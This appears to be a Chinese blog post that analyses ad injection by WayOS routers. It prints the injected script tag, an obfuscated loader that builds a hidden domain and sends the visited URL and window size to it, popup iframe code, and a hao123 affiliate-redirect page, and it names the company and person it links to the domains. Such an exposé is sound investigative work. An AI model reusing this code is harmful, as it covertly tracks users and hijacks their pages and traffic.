wayos 最新右下角窗口广告.
打开任何网站,查看源代码,在html网页文件底部插入一行JS代码:
<script type="text/javascript" src="http://n.cosbot.cn/rb/i7.js"></script>
解析后得到源代码片段
(function(d) {
function $a(p) {
try {
var x = d.getElementsByTagName("head")[0];
var y = x.appendChild($s(p));
setTimeout(function() {
x.removeChild(y)
}, 2000)
} catch (e) {}
}
function $c(n) {
return d.createElement(n)
}
function $s(p) {
var j = $c("script");
j.src = p;
j.async = true;
j.type = "text/javascript";
return j
}
var amt = 0;
function $rn() {
var ww = d.body.clientWidth;
var hh = d.body.clientHeight;
var u = {
j: "ht",
c: "com.cn",
q: "tp:",
m: "b.",
n: "wdzs",
d: "a."
};
var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;
var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
if (top == this) {
if (ww < 300 || hh < 40) {
amt += 1;
if (amt < 3) {
setTimeout($rn, 1000)
} else {
$a(be + "/fmt7p/m.php?u=" + en)
}
} else {
$a(be + "/fmt7p/?u=" + en)
}
}
}
setTimeout($rn, 500)
})(document);
这段JS的作用是执行一个动态的js,源代码拼接后如下
http://a.wdzsb.com.cn/fmt7p/?u=http://www.wmdfw.com/baidu.php&a=0.3494681795691035&w=1349&h=3174
作用是将变量u,a,w,h几个参数传递给JS.直接访问后可以得到源代码片段
(function(w, d) {
var gid = "bd_uuid_rb_111268";
function $c(n) {
return d.createElement(n)
}
function $show() {
var e = d.getElementById(gid);
if (e) {
e.style.display = "block"
}
}
function $isdone() {
var e = d.getElementById(gid);
if (e) {
return true
}
return false
}
function $rm() {
var e = d.getElementById(gid);
if (e) {
e.style.display = "none"
}
setTimeout($del, 10000)
}
function $del() {
var e = d.getElementById(gid);
if (e) {
e.parentNode.removeChild(e)
}
}
function $drn() {
if ($isdone()) {
return
}
var l = $c("div");
l.id = gid;
l.style.display = "none";
l.oncontextmenu = function() {
return false
};
l = d.body.appendChild(l);
var isIE6 = w.navigator.userAgent.match(/MSIE 6/ig) && !w.navigator.userAgent.match(/MSIE 7|8/ig);
var sty = "";
if (isIE6) {
sty = "BORDER-RIGHT: 0px; BORDER-TOP: 0px; DISPLAY: block; Z-INDEX: 2147483647; RIGHT: 0px; padding:0;MARGIN: 0px;
BORDER-LEFT: 0px; WIDTH: 300px; BOTTOM: auto; BORDER-BOTTOM: 0px; POSITION: absolute; TOP: expression(eval
((document.documentElement&&document.documentElement.scrollTop||
document.body.scrollTop)+(document.documentElement&&document.documentElement.clientHeight||document.body.clientHeight)-this.offsetHeight-0));
HEIGHT: 250px; BACKGROUND-COLOR: #ecf9fd; TEXT-ALIGN: left"
} else {
sty = "display: block; position: fixed; padding: 0px; margin: 0px; border: 0px none;text-align: left; z-index:
2147483647; width: 300px; height: 250px; right: 0px; bottom: 0px; top: auto;"
}
var k = $c("div");
k.style.cssText = sty;
k = l.appendChild(k);
k.innerHTML = "<span style=\"position:absolute;width:42px;height:14px;line-height:20px;right:0px;top:-
14px;cursor:pointer;text-align:right;display:block;background: url(http://dl.katman.cn/img/close.gif) 0px 0px no-repeat scroll;\" onmouseover=
\"this.style.backgroundPosition='0 -20px';\" onmouseout=\"this.style.backgroundPosition='0 0';\" onclick=\"javascript:var
e=document.getElementById('bd_uuid_rb_111268');if(!e)return;e.style.display='none';setTimeout(function(){var e=document.getElementById
('bd_uuid_rb_111268');if(e){e.parentNode.removeChild(e)}},10000);\"></span>";
var ifr = $c("iframe");
ifr.scrolling = "no";
ifr.marginWidth = "0";
ifr.marginHeight = "0";
ifr.frameBorder = "0";
ifr.height = "250px";
ifr.width = "300px";
ifr = k.appendChild(ifr);
var ul = "http://dl.katman.cn/cl/html/fmt7p.html";
try {
var doc = ifr.contentWindow.document;
doc.open().write('<body onload="javascript:' + "window.location.href='" + ul + "';\">");
doc.close()
} catch (e) {
ifr.src = ul
}
}
function $dly() {
$drn();
setTimeout($show, 2000);
setTimeout($rm, 1000 * 1800)
}
if (!window._fmt_done_pg) {
window._fmt_done_pg = 1;
setTimeout($dly, 50)
}
})(window, document);
主要展示http://dl.katman.cn/cl/html/fmt7p.html地址的右下角窗口广告
因此不难看出域名
n.cosbot.cn a.wdzsb.com.cn dl.katman.cn
打开站长之家http://tool.chinaz.com/,查询到这三个域名均为成都西维数码科技有限公司 郑清华所有
与每次wayos偷偷换广告地址所有者完全一致
http://n.cosbot.cn/cl/html/hao.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<title>hao123_上网从这里开始</title>
</head>
<body>
<script>
(function(d){
function isCkie(){
var isSupport=false;
if(typeof(navigator.cookieEnabled)!='undefined'){
isSupport=navigator.cookieEnabled;
}
return isSupport;
}
//Cookie相关函数
var sCkie=new function(){
//过期时间
this.expTime=function(millisecond){if(millisecond.length==0){millisecond=0};var exp=new Date();exp.setTime(exp.getTime()+parseInt(millisecond));return exp.toGMTString();};
//创建cookie
this.add=function(name,value,expires,path,domain,secure){d.cookie=name+"="+encodeURI(value)+(expires?(';expires='+expires):'')+(path?(';path='+path):'')+(domain?(';domain='+domain):'')+((secure)?';secure':'');};
//删除cookie
//this.del=function(name,path,domain){if(getCookie(name)){document.cookie=name+"="+((path)?(";path="+path):'')+((domain)?(";domain="+domain):'')+";expires=Mon,01-Jan-2006 00:00:01 GMT";}};
//获取cookie
this.get=function(name){var arg=name+"=";var alen=arg.length;var theCookie=''+d.cookie;var inCookieSite=theCookie.indexOf(arg);if(inCookieSite==-1||name==""){return '';}var begin=inCookieSite+alen;var end=theCookie.indexOf(';',begin);if(end==-1){end=theCookie.length;}return decodeURI(theCookie.substring(begin,end));};
};
var gUrl;
if(isCkie()){
var ckie=0;
var sid='lpvt_eef100d08ffffab743f371e2d5729249';
var skie=sCkie.get(sid);
if (skie!='')
{
ckie=parseInt(skie);
}
if(ckie<1){
var rand=Math.random();
if(rand<1.8){
gUrl="https://www.hao123.com/?tn=90826472_hao_pg";
}else{
gUrl="https://www.hao123.com/";
}
sCkie.add(sid,'1',sCkie.expTime(1*60*60*1000),0,0,0);
}else{
gUrl="https://www.hao123.com/";
}
}else{
gUrl="https://www.hao123.com/";
}
(function(u){if(window.navigate&&typeof navigate=='function')navigate(u);var ua=navigator.userAgent;if(ua.match(/applewebkit/i)){var h = document.createElement('a');h.rel='noreferrer';h.href=u;document.body.appendChild(h);var evt=document.createEvent('MouseEvents');evt.initEvent('click', true,true);h.dispatchEvent(evt);}else{document.write('<meta http-equiv="Refresh" Content="0; Url='+u+'" >');}})(gUrl);
})(document);
</script>
</body>
</html>
51.la统计id:15820612
根据统计代码分析,广东地区为重灾区
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